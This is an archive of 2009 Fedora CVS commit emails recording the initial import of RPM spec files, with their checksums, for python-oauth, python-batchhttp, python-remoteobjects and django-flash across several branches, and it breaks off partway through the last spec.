	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010175842.D0F3411C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-oauth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5633/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-oauth.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-oauth-1_0_1-1_fc11:HEAD:python-oauth-1.0.1-1.fc11.src.rpm:1255197491


--- NEW FILE python-oauth.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-oauth
Version:        1.0.1
Release:        1%{?dist}
Summary:        Library for OAuth version 1.0a

Group:          Development/Languages
License:        MIT
URL:            http://code.google.com/p/oauth/
Source0:        http://pypi.python.org/packages/source/o/oauth/oauth-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel

%description
Library for OAuth version 1.0a.


%prep
%setup -q -n oauth-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE.txt
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-oauth/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:53:29 -0000	1.1
+++ .cvsignore	10 Oct 2009 17:58:42 -0000	1.2
@@ -0,0 +1 @@
+oauth-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-oauth/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:53:29 -0000	1.1
+++ sources	10 Oct 2009 17:58:42 -0000	1.2
@@ -0,0 +1 @@
+30ed3cc8c11d7841a89feab437aabf81  oauth-1.0.1.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:00:12 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:00:12 +0000 (UTC)
Subject: rpms/python-oauth/F-12 import.log, NONE, 1.1 python-oauth.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010180012.2988311C02A0@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-oauth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5983/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-oauth.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-oauth-1_0_1-1_fc11:F-12:python-oauth-1.0.1-1.fc11.src.rpm:1255197574


--- NEW FILE python-oauth.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-oauth
Version:        1.0.1
Release:        1%{?dist}
Summary:        Library for OAuth version 1.0a

Group:          Development/Languages
License:        MIT
URL:            http://code.google.com/p/oauth/
Source0:        http://pypi.python.org/packages/source/o/oauth/oauth-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel

%description
Library for OAuth version 1.0a.


%prep
%setup -q -n oauth-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE.txt
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-oauth/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:53:29 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:00:11 -0000	1.2
@@ -0,0 +1 @@
+oauth-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-oauth/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:53:29 -0000	1.1
+++ sources	10 Oct 2009 18:00:11 -0000	1.2
@@ -0,0 +1 @@
+30ed3cc8c11d7841a89feab437aabf81  oauth-1.0.1.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:01:36 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:01:36 +0000 (UTC)
Subject: rpms/python-oauth/F-11 import.log, NONE, 1.1 python-oauth.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010180136.4C0B611C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-oauth/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6262/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-oauth.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-oauth-1_0_1-1_fc11:F-11:python-oauth-1.0.1-1.fc11.src.rpm:1255197650


--- NEW FILE python-oauth.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-oauth
Version:        1.0.1
Release:        1%{?dist}
Summary:        Library for OAuth version 1.0a

Group:          Development/Languages
License:        MIT
URL:            http://code.google.com/p/oauth/
Source0:        http://pypi.python.org/packages/source/o/oauth/oauth-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel

%description
Library for OAuth version 1.0a.


%prep
%setup -q -n oauth-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE.txt
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-oauth/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:53:29 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:01:36 -0000	1.2
@@ -0,0 +1 @@
+oauth-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-oauth/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:53:29 -0000	1.1
+++ sources	10 Oct 2009 18:01:36 -0000	1.2
@@ -0,0 +1 @@
+30ed3cc8c11d7841a89feab437aabf81  oauth-1.0.1.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:04:27 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:04:27 +0000 (UTC)
Subject: rpms/python-batchhttp/devel import.log, NONE,
	1.1 python-batchhttp.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091010180427.2A4DE11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-batchhttp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7396/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-batchhttp.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-batchhttp-1_0-1_fc11:HEAD:python-batchhttp-1.0-1.fc11.src.rpm:1255197818


--- NEW FILE python-batchhttp.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-batchhttp
Version:        1.0
Release:        1%{?dist}
Summary:        Parallel fetching of HTTP resources through MIME multipart

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/batchhttp/
Source0:        http://pypi.python.org/packages/source/b/batchhttp/batchhttp-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-httplib2

%description
This package's BatchClient applies standard MIME multipart encoding to HTTP
messages, providing a standards-conservant technique for making parallelizable
HTTP requests over a single proxy connection.

To make a batch request, open a new request on a BatchClient instance and add
your subrequests, along with callbacks that will receive the subresponses.
Once all parallelized requests are added, complete the request; the request is
made and the batched subresponses are provided to your callbacks.

%prep
%setup -q -n batchhttp-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-batchhttp/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:55:58 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:04:26 -0000	1.2
@@ -0,0 +1 @@
+batchhttp-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-batchhttp/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:55:58 -0000	1.1
+++ sources	10 Oct 2009 18:04:26 -0000	1.2
@@ -0,0 +1 @@
+a3b5e89edfd9c68512aeea80bfa0d802  batchhttp-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:05:45 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:05:45 +0000 (UTC)
Subject: rpms/python-batchhttp/F-12 import.log, NONE,
	1.1 python-batchhttp.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010180545.04E9D11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-batchhttp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7820/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-batchhttp.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-batchhttp-1_0-1_fc11:F-12:python-batchhttp-1.0-1.fc11.src.rpm:1255197922


--- NEW FILE python-batchhttp.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-batchhttp
Version:        1.0
Release:        1%{?dist}
Summary:        Parallel fetching of HTTP resources through MIME multipart

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/batchhttp/
Source0:        http://pypi.python.org/packages/source/b/batchhttp/batchhttp-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-httplib2

%description
This package's BatchClient applies standard MIME multipart encoding to HTTP
messages, providing a standards-conservant technique for making parallelizable
HTTP requests over a single proxy connection.

To make a batch request, open a new request on a BatchClient instance and add
your subrequests, along with callbacks that will receive the subresponses.
Once all parallelized requests are added, complete the request; the request is
made and the batched subresponses are provided to your callbacks.

%prep
%setup -q -n batchhttp-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-batchhttp/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:55:58 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:05:44 -0000	1.2
@@ -0,0 +1 @@
+batchhttp-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-batchhttp/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:55:58 -0000	1.1
+++ sources	10 Oct 2009 18:05:44 -0000	1.2
@@ -0,0 +1 @@
+a3b5e89edfd9c68512aeea80bfa0d802  batchhttp-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:07:43 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:07:43 +0000 (UTC)
Subject: rpms/python-batchhttp/F-11 import.log, NONE,
	1.1 python-batchhttp.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010180743.CA27511C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-batchhttp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8135/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-batchhttp.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-batchhttp-1_0-1_fc11:F-11:python-batchhttp-1.0-1.fc11.src.rpm:1255198023


--- NEW FILE python-batchhttp.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-batchhttp
Version:        1.0
Release:        1%{?dist}
Summary:        Parallel fetching of HTTP resources through MIME multipart

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/batchhttp/
Source0:        http://pypi.python.org/packages/source/b/batchhttp/batchhttp-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-httplib2

%description
This package's BatchClient applies standard MIME multipart encoding to HTTP
messages, providing a standards-conservant technique for making parallelizable
HTTP requests over a single proxy connection.

To make a batch request, open a new request on a BatchClient instance and add
your subrequests, along with callbacks that will receive the subresponses.
Once all parallelized requests are added, complete the request; the request is
made and the batched subresponses are provided to your callbacks.

%prep
%setup -q -n batchhttp-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-batchhttp/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:55:58 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:07:43 -0000	1.2
@@ -0,0 +1 @@
+batchhttp-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-batchhttp/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:55:58 -0000	1.1
+++ sources	10 Oct 2009 18:07:43 -0000	1.2
@@ -0,0 +1 @@
+a3b5e89edfd9c68512aeea80bfa0d802  batchhttp-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:11:06 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:11:06 +0000 (UTC)
Subject: rpms/python-remoteobjects/devel import.log, NONE,
	1.1 python-remoteobjects.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091010181106.AC08511C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-remoteobjects/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8883/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-remoteobjects.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-remoteobjects-1_0-2_fc11:HEAD:python-remoteobjects-1.0-2.fc11.src.rpm:1255198214


--- NEW FILE python-remoteobjects.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-remoteobjects
Version:        1.0
Release:        2%{?dist}
Summary:        An Object RESTational Model

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/remoteobjects/
Source0:        http://pypi.python.org/packages/source/r/remoteobjects/remoteobjects-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-httplib2 python-simplejson

%description
remoteobjects are real subclassable Python objects on which you can build a
rich API library.

remoteobjects provides easy coding and transfer between Python objects and a
JSON REST API. You can define the resources in a RESTful API as RemoteObject
classes and their properties. These objects then support using the basic HTTP
verbs to request and submit data to the API.

%prep
%setup -q -n remoteobjects-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-2
- add setuptools as BR

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-remoteobjects/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:55:10 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:11:06 -0000	1.2
@@ -0,0 +1 @@
+remoteobjects-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-remoteobjects/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:55:11 -0000	1.1
+++ sources	10 Oct 2009 18:11:06 -0000	1.2
@@ -0,0 +1 @@
+d5d94c9b64f9ba6916d8f41e669f271f  remoteobjects-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:12:55 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:12:55 +0000 (UTC)
Subject: rpms/python-remoteobjects/F-12 import.log, NONE,
	1.1 python-remoteobjects.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091010181255.D2CA511C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-remoteobjects/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9193/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-remoteobjects.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-remoteobjects-1_0-2_fc11:F-12:python-remoteobjects-1.0-2.fc11.src.rpm:1255198312


--- NEW FILE python-remoteobjects.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-remoteobjects
Version:        1.0
Release:        2%{?dist}
Summary:        An Object RESTational Model

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/remoteobjects/
Source0:        http://pypi.python.org/packages/source/r/remoteobjects/remoteobjects-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-httplib2 python-simplejson

%description
remoteobjects are real subclassable Python objects on which you can build a
rich API library.

remoteobjects provides easy coding and transfer between Python objects and a
JSON REST API. You can define the resources in a RESTful API as RemoteObject
classes and their properties. These objects then support using the basic HTTP
verbs to request and submit data to the API.

%prep
%setup -q -n remoteobjects-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-2
- add setuptools as BR

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-remoteobjects/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:55:10 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:12:55 -0000	1.2
@@ -0,0 +1 @@
+remoteobjects-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-remoteobjects/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:55:11 -0000	1.1
+++ sources	10 Oct 2009 18:12:55 -0000	1.2
@@ -0,0 +1 @@
+d5d94c9b64f9ba6916d8f41e669f271f  remoteobjects-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:14:05 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:14:05 +0000 (UTC)
Subject: rpms/python-remoteobjects/F-11 import.log, NONE,
	1.1 python-remoteobjects.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091010181405.8D35811C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-remoteobjects/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9557/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-remoteobjects.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-remoteobjects-1_0-2_fc11:F-11:python-remoteobjects-1.0-2.fc11.src.rpm:1255198404


--- NEW FILE python-remoteobjects.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-remoteobjects
Version:        1.0
Release:        2%{?dist}
Summary:        An Object RESTational Model

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/remoteobjects/
Source0:        http://pypi.python.org/packages/source/r/remoteobjects/remoteobjects-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-httplib2 python-simplejson

%description
remoteobjects are real subclassable Python objects on which you can build a
rich API library.

remoteobjects provides easy coding and transfer between Python objects and a
JSON REST API. You can define the resources in a RESTful API as RemoteObject
classes and their properties. These objects then support using the basic HTTP
verbs to request and submit data to the API.

%prep
%setup -q -n remoteobjects-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT

 
%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-2
- add setuptools as BR

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-remoteobjects/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:55:10 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:14:05 -0000	1.2
@@ -0,0 +1 @@
+remoteobjects-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-remoteobjects/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:55:11 -0000	1.1
+++ sources	10 Oct 2009 18:14:05 -0000	1.2
@@ -0,0 +1 @@
+d5d94c9b64f9ba6916d8f41e669f271f  remoteobjects-1.0.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:17:33 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:17:33 +0000 (UTC)
Subject: rpms/django-flash/devel django-flash.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010181733.E393E11C00DB@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-flash/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10964/devel

Modified Files:
	.cvsignore sources 
Added Files:
	django-flash.spec import.log 
Log Message:
initial import



--- NEW FILE django-flash.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           django-flash
Version:        1.6.2
Release:        2%{?dist}
Summary:        A Django extension to provide support for Rails-like flash

Group:          Development/Languages
License:        BSD
URL:            http://djangoflash.destaquenet.com/
Source0:        http://pypi.python.org/packages/source/d/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django

%description
A simple Django extension that provides support for Rails-like flash messages.

The flash is a temporary storage mechanism that looks like a Python
dictionary, so you can store values associated with keys and later retrieve
them. It has one special property: by default, values stored into the flash
during the processing of a request will be available during the processing
of the immediately following request. Once that second request has been
processed, those values are removed automatically from the storage.


%prep
%setup -q


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/djangoflash/tests/testproj/manage.py


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS LICENSE README
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-2
- remove unneeeded BRs

* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-1
- initial packaging


--- NEW FILE import.log ---
django-flash-1_6_2-2_fc11:HEAD:django-flash-1.6.2-2.fc11.src.rpm:1255198615


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:54:31 -0000	1.1
+++ .cvsignore	10 Oct 2009 18:17:33 -0000	1.2
@@ -0,0 +1 @@
+django-flash-1.6.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:54:31 -0000	1.1
+++ sources	10 Oct 2009 18:17:33 -0000	1.2
@@ -0,0 +1 @@
+55888998683177c6b95e94b4a200a0f2  django-flash-1.6.2.tar.gz



From sdz at fedoraproject.org  Sat Oct 10 18:20:04 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 10 Oct 2009 18:20:04 +0000 (UTC)
Subject: rpms/django-flash/F-12 django-flash.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010182004.7196F11C029A@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-flash/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11280/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	django-flash.spec import.log 
Log Message:
initial import



--- NEW FILE django-flash.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           django-flash
Version:        1.6.2
Release:        2%{?dist}
Summary:        A Django extension to provide support for Rails-like flash

Group:          Development/Languages
License:        BSD
URL:            http://djangoflash.destaquenet.com/
Source0:        http://pypi.python.org/packages/source/d/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django

%description
A simple Django extension that provides support for Rails-like flash messages.

The flash is a temporary storage mechanism that looks like a Python
dictionary, so you can store values associated with keys and later retrieve
them. It has one special property: by default, values stored into the flash
during the processing of a request will be available during the processing
of the immediately following request. Once that second request has been
processed, those values are removed automatically from the storage.


%prep
%setup -q


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT
